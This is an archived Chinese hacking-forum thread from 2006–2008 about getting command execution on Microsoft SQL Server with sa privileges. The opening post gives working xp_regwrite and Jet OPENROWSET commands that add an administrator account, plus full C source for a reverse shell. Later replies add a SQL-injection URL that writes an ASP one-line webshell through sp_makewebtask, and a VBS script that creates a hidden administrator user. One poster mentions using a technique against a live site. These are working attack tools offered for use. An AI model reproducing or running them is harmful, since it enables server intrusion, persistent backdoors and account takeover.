邪恶八进制信息安全团队技术讨论组's Archiver

l0op8ack 2006-1-2 09:10

[讨论]SA权限仅需xp_regwrite即可有dos shell

议题提交:L0op8ack
信息来源:邪恶八进制信息安全团队([url]www.eviloctal.com[/url])

删除xp_cmdshell和xplog70.dll不用担心,只要保留xp_regwrite就可以执行系统命令,拥有一个dos shell
利用RDS的一个老问题,在IIS 4.0的时候被广泛利用,现在好像没多少人想得起来了
绝对比去想办法恢复xp_cmdshell来得经济实惠,不过需要猜一下系统路径
nt/2k: x:\winnt\system32\
xp/2003: x:\windows\system32\
如果有回显,可以看到执行返回结果,否则需要先判断主机OS类型再试
当然如果野蛮一点,四个轮流来一遍也行。

首先开启沙盘模式:
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1

然后利用jet.oledb执行系统命令
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')

验证截图:
[attach]3164[/attach]

附:
无法连接数据库服务器时(数据库一般不对外开放,但是可以对外访问),
可以使用反弹dos shell方式搞定
====================== CUT here =======================
//name      : win32 connect back shell source for nt/2K/xp/2003
//compile   : cl win32cbsh.c   (vc6)
//usage      :
//on your pc   : nc -l -p {listen port}
//on vitim pc   : win32cbsh {your ip} {listen port}
//warning   : if there's no parameter specified, it will cause "fatal error"
#include <winsock2.h>
#pragma comment(lib,"ws2_32")
int main(int argc, char **argv)
{
   WSADATA wsaData;
   SOCKET hSocket;
   STARTUPINFO si;
   PROCESS_INFORMATION pi;
   struct sockaddr_in adik_sin;
   memset(&adik_sin,0,sizeof(adik_sin));
   memset(&si,0,sizeof(si));
   WSAStartup(MAKEWORD(2,0),&wsaData);
   hSocket=WSASocket(AF_INET,SOCK_STREAM,NULL,NULL,NULL,NULL);
   adik_sin.sin_family=AF_INET;
   adik_sin.sin_port=htons(atoi(argv[2]));
   adik_sin.sin_addr.s_addr=inet_addr(argv[1]);
   if(0!=connect(hSocket,(struct sockaddr*)&adik_sin,sizeof(adik_sin))) return -1;
   si.cb=sizeof(si);
   si.dwFlags=STARTF_USESTDHANDLES;
   si.hStdInput=si.hStdOutput=si.hStdError=(void *)hSocket;
   CreateProcess(NULL,"cmd.exe",NULL,NULL,1,NULL,NULL,NULL,&si,&pi);
   return 0;
}
====================== CUT here =======================

wahahams 2006-1-19 22:31

[quote][b]这里是引用第[/b][color=#ff0000][0 楼][/color][b]的[color=#000066]l0op8ack[/color]于[/b]2006-01-02 09:10[b]发表的:[/b][讨论]SA权限仅需xp_regwrite即可有dos shell
议题提交:L0op8ack
信息来源:邪恶八进制信息安全团队([url]www.eviloctal.com[/url])

删除xp_cmdshell和xplog70.dll不用担心,只要保留xp_regwrite就可以执行系统命令,拥有一个dos shell
利用RDS的一个老问题,在IIS 4.0的时候被广泛利用,现在好像没多少人想得起来了
.......[/quote]

office2003怎么搞都没用样

pt007 2006-1-20 22:58

好贴子,要是db_owern下能执行这个命令就爽了.

scriptboy 2007-9-10 23:02

Cannot load the DLL xpstar.dll, or one of the DLLs it references. Reason: 126(The specified module could not be found.).

Why?

xi4oyu 2007-9-11 08:21

貌似这个方法都出来好久了 [s:267]

xi4oyu 2007-9-11 08:28

我再说一个方法,直接得webshell的,也要sa权限 [s:264] [s:264] ,这年头,权限不好弄啊,呵呵



用 sp_makewebtask直接在web目录里写入一句话马:

[url]http://127.0.0.1/dblogin123.asp?username=123[/url]&#39;;exec%20sp_makewebtask%20&#39;d:\www\tt\88.asp&#39;,&#39;%20select%20&#39;&#39;<%25execute(request("a"))%25>&#39;&#39;%20&#39;;--


前提是注入点是sa权限。

sp_makewebtask真是个好东西,知道表名就能够输出内容了。其中的一个问题困扰了我很久,今天终于得到解决:在用sp_makewebtask往文件里面写东西的时候,用到了select语句,但是只是用它来写<%execute(request("a"))%>,并不是对某个列的查询,写入一直出错。由于sp_makewebtask的第二个参数本身有个单引号在外面了,本以为select后面的内容加双引号就能成功写进去了,但是总是不能,偶尔发现是用两个单引号来直接写文本,单引号起着重定义的作用,本机试验成功。

sp_makewebtask的要求权限是sa,而且用这种方法的时候需要知道WEB的物理路径。但是有的管理员会删除某些扩展存储过程,这种方法也能算是个思路吧

方法是比较猥琐了点

[s:264] [s:264] [s:264] [s:264] [s:264]

dingking 2007-9-11 13:34

汗一下。。。我还以为是什么新东西。~这么老的东西都被楼上挖出来了。

楼上猥琐的方法在某些特定的情况下还是管用的。嘿嘿。昨天刚好遇到一个KR的站就这个情况~ [s:269]

hackest 2007-9-13 17:36

经测试,LZ的方法确实有效……
[s:269]

hackest 2007-9-13 17:53

经测试,5楼的方法同样有效
[s:264]

zzhcool 2008-5-6 23:38

net的权限被限制了,不能用net,直接xpcmd执行都是被拒绝,有啥好方法啊?

yzx65 2008-5-6 23:54

ls的。试试net1.哈哈

zzhcool 2008-5-7 18:09

.net1也不行,我都试过了,没有权限
组件我倒是都给恢复了,还有啥好的办法么?

guizige 2008-5-13 05:27

但是不能回显的怎么办?

eclipse07 2008-5-19 12:50

看过 LCX 的一则 VBS

SET wsnetwork = CreateObject("WSCRIPT.NETWORK")
os = "WinNT://" & wsnetwork.ComputerName
SET ob = GetObject(os)
SET oe = GetObject(os & "/administrators,group")
SET od = ob.Create("user", "he$")
od.SetPassword "he"
od.SetInfo
Set of = GetObject(os & "/he$", user)
oe.add  os&"/he$"

保存为 AddUser.VBS ,然后在 CMD 中运行  cscript AddUser.vbs
就可增加用户。

页: [1]
© 1999-2008 EvilOctal Security Team